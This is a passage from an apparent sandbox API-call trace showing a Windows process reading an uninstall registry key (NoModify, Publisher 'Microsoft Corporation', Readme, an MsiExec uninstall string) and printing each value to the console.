52 [0149.837] GetConsoleOutputCP () returned 0x1b5 [0149.837] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{582EA838-9199-3518-A05C-DB09462F68EC}", cchWideChar=52, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{582EA838-9199-3518-A05C-DB09462F68EC}", lpUsedDefaultChar=0x0) returned 52 [0149.837] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0149.837] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.837] __iob_func () returned 0x7fefd702a80 [0149.837] _fileno (_File=0x7fefd702ab0) returned 1 [0149.837] _errno () returned 0x204bb0 [0149.837] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.837] _errno () returned 0x204bb0 [0149.837] GetFileType (hFile=0x50) returned 0x1 [0149.837] lstrlenW (lpString="\n") returned 1 [0149.838] GetConsoleOutputCP () returned 0x1b5 [0149.838] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.838] GetConsoleOutputCP () returned 0x1b5 [0149.838] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.838] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.838] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.838] GetProcessHeap () returned 0x3c0000 [0149.838] GetProcessHeap () returned 0x3c0000 [0149.838] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.838] GetProcessHeap () returned 0x3c0000 [0149.838] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0149.838] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.838] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.838] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.838] GetProcessHeap () returned 0x3c0000 [0149.838] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.838] GetProcessHeap () returned 0x3c0000 [0149.838] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.838] GetProcessHeap () returned 0x3c0000 [0149.838] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.838] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.838] __iob_func () returned 0x7fefd702a80 [0149.838] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.838] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.838] _fileno (_File=0x7fefd702ab0) returned 1 [0149.839] _errno () returned 0x204bb0 [0149.839] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.839] _errno () returned 0x204bb0 [0149.839] GetFileType (hFile=0x50) returned 0x1 [0149.839] lstrlenW (lpString=" ") returned 4 [0149.839] GetConsoleOutputCP () returned 0x1b5 [0149.839] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.839] GetConsoleOutputCP () returned 0x1b5 [0149.839] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.839] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.839] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.839] lstrlenW (lpString="NoModify") returned 8 [0149.839] __iob_func () returned 0x7fefd702a80 [0149.839] _fileno (_File=0x7fefd702ab0) returned 1 [0149.839] _errno () returned 0x204bb0 [0149.839] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.839] _errno () returned 0x204bb0 [0149.839] GetFileType (hFile=0x50) returned 0x1 [0149.839] lstrlenW (lpString="NoModify") returned 8 [0149.839] GetConsoleOutputCP () returned 0x1b5 [0149.839] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.839] GetConsoleOutputCP () returned 0x1b5 [0149.840] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0149.840] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.840] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.840] __iob_func () returned 0x7fefd702a80 [0149.840] _fileno (_File=0x7fefd702ab0) returned 1 [0149.840] _errno () returned 0x204bb0 [0149.840] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.840] _errno () returned 0x204bb0 [0149.840] GetFileType (hFile=0x50) returned 0x1 [0149.840] lstrlenW (lpString=" ") returned 4 [0149.840] GetConsoleOutputCP () returned 0x1b5 [0149.840] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.840] GetConsoleOutputCP () returned 0x1b5 [0149.840] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.840] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.840] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.840] __iob_func () returned 0x7fefd702a80 [0149.840] _fileno (_File=0x7fefd702ab0) returned 1 [0149.840] _errno () returned 0x204bb0 [0149.840] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.840] _errno () returned 0x204bb0 [0149.840] GetFileType (hFile=0x50) returned 0x1 [0149.840] lstrlenW (lpString="REG_DWORD") returned 9 [0149.840] GetConsoleOutputCP () returned 0x1b5 [0149.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.841] GetConsoleOutputCP () returned 0x1b5 [0149.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.841] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.841] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.841] __iob_func () returned 0x7fefd702a80 [0149.841] _fileno (_File=0x7fefd702ab0) returned 1 [0149.841] _errno () returned 0x204bb0 [0149.841] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.841] _errno () returned 0x204bb0 [0149.841] GetFileType (hFile=0x50) returned 0x1 [0149.841] lstrlenW (lpString=" ") returned 4 [0149.841] GetConsoleOutputCP () returned 0x1b5 [0149.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.841] GetConsoleOutputCP () returned 0x1b5 [0149.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.841] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.841] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.841] __iob_func () returned 0x7fefd702a80 [0149.841] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.842] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.842] _fileno (_File=0x7fefd702ab0) returned 1 [0149.842] _errno () returned 0x204bb0 [0149.842] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.842] _errno () returned 0x204bb0 [0149.842] GetFileType (hFile=0x50) returned 0x1 [0149.842] lstrlenW (lpString="0x1") returned 3 [0149.842] GetConsoleOutputCP () returned 0x1b5 [0149.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.842] GetConsoleOutputCP () returned 0x1b5 [0149.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.842] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.842] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.842] __iob_func () returned 0x7fefd702a80 [0149.842] _fileno (_File=0x7fefd702ab0) returned 1 [0149.842] _errno () returned 0x204bb0 [0149.842] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.842] _errno () returned 0x204bb0 [0149.842] GetFileType (hFile=0x50) returned 0x1 [0149.842] lstrlenW (lpString="\n") returned 1 [0149.842] GetConsoleOutputCP () returned 0x1b5 [0149.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.842] GetConsoleOutputCP () returned 0x1b5 [0149.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.843] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.843] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.843] GetProcessHeap () returned 0x3c0000 [0149.843] GetProcessHeap () returned 0x3c0000 [0149.843] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.843] GetProcessHeap () returned 0x3c0000 [0149.843] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.843] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.843] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.843] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2e) returned 0x0 [0149.843] GetProcessHeap () returned 0x3c0000 [0149.843] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x30) returned 0x3d78d0 [0149.843] GetProcessHeap () returned 0x3c0000 [0149.843] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0149.843] GetProcessHeap () returned 0x3c0000 [0149.843] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x30 [0149.843] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d78d0, pcbData=0x29f780*=0x2e | out: pdwType=0x29f700*=0x1, pvData="Microsoft Corporation", pcbData=0x29f780*=0x2c) returned 0x0 [0149.843] __iob_func () returned 0x7fefd702a80 [0149.843] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.843] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.843] _fileno (_File=0x7fefd702ab0) returned 1 [0149.843] _errno () returned 0x204bb0 [0149.843] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.843] _errno () returned 0x204bb0 [0149.843] GetFileType (hFile=0x50) returned 0x1 [0149.843] lstrlenW (lpString=" ") returned 4 [0149.843] GetConsoleOutputCP () returned 0x1b5 [0149.844] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.844] GetConsoleOutputCP () returned 0x1b5 [0149.844] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.844] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.844] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.844] lstrlenW (lpString="Publisher") returned 9 [0149.844] __iob_func () returned 0x7fefd702a80 [0149.844] _fileno (_File=0x7fefd702ab0) returned 1 [0149.844] _errno () returned 0x204bb0 [0149.844] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.844] _errno () returned 0x204bb0 [0149.844] GetFileType (hFile=0x50) returned 0x1 [0149.844] lstrlenW (lpString="Publisher") returned 9 [0149.844] GetConsoleOutputCP () returned 0x1b5 [0149.844] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.844] GetConsoleOutputCP () returned 0x1b5 [0149.844] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0149.844] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.844] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.844] __iob_func () returned 0x7fefd702a80 [0149.844] _fileno (_File=0x7fefd702ab0) returned 1 [0149.844] _errno () returned 0x204bb0 [0149.844] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.844] _errno () returned 0x204bb0 [0149.845] GetFileType (hFile=0x50) returned 0x1 [0149.845] lstrlenW (lpString=" ") returned 4 [0149.845] GetConsoleOutputCP () returned 0x1b5 [0149.845] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.845] GetConsoleOutputCP () returned 0x1b5 [0149.845] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.845] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.845] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.845] __iob_func () returned 0x7fefd702a80 [0149.845] _fileno (_File=0x7fefd702ab0) returned 1 [0149.845] _errno () returned 0x204bb0 [0149.845] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.845] _errno () returned 0x204bb0 [0149.845] GetFileType (hFile=0x50) returned 0x1 [0149.845] lstrlenW (lpString="REG_SZ") returned 6 [0149.845] GetConsoleOutputCP () returned 0x1b5 [0149.845] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.845] GetConsoleOutputCP () returned 0x1b5 [0149.846] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.846] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.846] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.846] __iob_func () returned 0x7fefd702a80 [0149.846] _fileno (_File=0x7fefd702ab0) returned 1 [0149.846] _errno () returned 0x204bb0 [0149.846] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.846] _errno () returned 0x204bb0 [0149.846] GetFileType (hFile=0x50) returned 0x1 [0149.846] lstrlenW (lpString=" ") returned 4 [0149.847] GetConsoleOutputCP () returned 0x1b5 [0149.847] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.847] GetConsoleOutputCP () returned 0x1b5 [0149.847] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.847] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.847] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.847] __iob_func () returned 0x7fefd702a80 [0149.847] _fileno (_File=0x7fefd702ab0) returned 1 [0149.847] _errno () returned 0x204bb0 [0149.847] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.847] _errno () returned 0x204bb0 [0149.847] GetFileType (hFile=0x50) returned 0x1 [0149.847] lstrlenW (lpString="Microsoft Corporation") returned 21 [0149.847] GetConsoleOutputCP () returned 0x1b5 [0149.847] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0149.847] GetConsoleOutputCP () returned 0x1b5 [0149.847] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0149.847] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0149.847] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.848] __iob_func () returned 0x7fefd702a80 [0149.848] _fileno (_File=0x7fefd702ab0) returned 1 [0149.848] _errno () returned 0x204bb0 [0149.848] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.848] _errno () returned 0x204bb0 [0149.848] GetFileType (hFile=0x50) returned 0x1 [0149.848] lstrlenW (lpString="\n") returned 1 [0149.848] GetConsoleOutputCP () returned 0x1b5 [0149.848] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.848] GetConsoleOutputCP () returned 0x1b5 [0149.848] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.848] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.848] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.848] GetProcessHeap () returned 0x3c0000 [0149.848] GetProcessHeap () returned 0x3c0000 [0149.848] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0149.848] GetProcessHeap () returned 0x3c0000 [0149.848] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x30 [0149.848] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0 | out: hHeap=0x3c0000) returned 1 [0149.848] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.848] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.848] GetProcessHeap () returned 0x3c0000 [0149.848] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.848] GetProcessHeap () returned 0x3c0000 [0149.848] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.849] GetProcessHeap () returned 0x3c0000 [0149.849] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.849] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.849] __iob_func () returned 0x7fefd702a80 [0149.849] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.849] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.849] _fileno (_File=0x7fefd702ab0) returned 1 [0149.849] _errno () returned 0x204bb0 [0149.849] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.849] _errno () returned 0x204bb0 [0149.849] GetFileType (hFile=0x50) returned 0x1 [0149.849] lstrlenW (lpString=" ") returned 4 [0149.849] GetConsoleOutputCP () returned 0x1b5 [0149.849] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.849] GetConsoleOutputCP () returned 0x1b5 [0149.849] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.849] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.849] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.849] lstrlenW (lpString="Readme") returned 6 [0149.849] __iob_func () returned 0x7fefd702a80 [0149.849] _fileno (_File=0x7fefd702ab0) returned 1 [0149.849] _errno () returned 0x204bb0 [0149.849] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.849] _errno () returned 0x204bb0 [0149.849] GetFileType (hFile=0x50) returned 0x1 [0149.849] lstrlenW (lpString="Readme") returned 6 [0149.850] GetConsoleOutputCP () returned 0x1b5 [0149.850] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.850] GetConsoleOutputCP () returned 0x1b5 [0149.850] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0149.850] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.850] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.850] __iob_func () returned 0x7fefd702a80 [0149.850] _fileno (_File=0x7fefd702ab0) returned 1 [0149.850] _errno () returned 0x204bb0 [0149.850] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.850] _errno () returned 0x204bb0 [0149.850] GetFileType (hFile=0x50) returned 0x1 [0149.850] lstrlenW (lpString=" ") returned 4 [0149.850] 